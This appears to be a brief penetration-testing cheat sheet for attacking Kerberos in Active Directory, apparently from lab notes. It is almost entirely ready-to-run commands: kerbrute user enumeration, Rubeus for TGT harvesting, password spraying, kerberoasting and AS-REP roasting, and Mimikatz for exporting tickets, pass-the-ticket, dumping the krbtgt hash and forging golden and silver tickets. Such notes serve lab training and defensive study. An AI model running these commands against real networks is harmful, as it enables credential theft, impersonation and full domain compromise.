Kerberos

Bruteforce Kerberos

kerbrute

Releases · ropnop/kerbruteGitHub

./kerbrute userenum --dc <name_machine> -d <name_machine> wordlist.txt

Rubeus

Rubeus.exe harvest /interval:30 - This command tells Rubeus to harvest for TGTs every 30 seconds

Rubeus.exe brute /password:Password1 /noticket - This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user 

Rubeus.exe kerberoast This will dump the Kerberos hash of any kerberoastable users    

Rubeus.exe asreproast - This will run the AS-REP roast command looking for vulnerable users and then dump found vulnerable user hashes.

Mimikatz

sekurlsa::tickets /export - this will export all of the .kirbi tickets into the directory that you are currently in

kerberos::ptt <ticket> - run this command inside of mimikatz with the ticket that you harvested from earlier. It will cache and impersonate the given ticket

lsadump::lsa /inject /name:krbtgt - This will dump the hash as well as the security identifier needed to create a Golden Ticket. To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.

Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id: - This is the command for creating a golden ticket to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into sid, and change the id to 1103.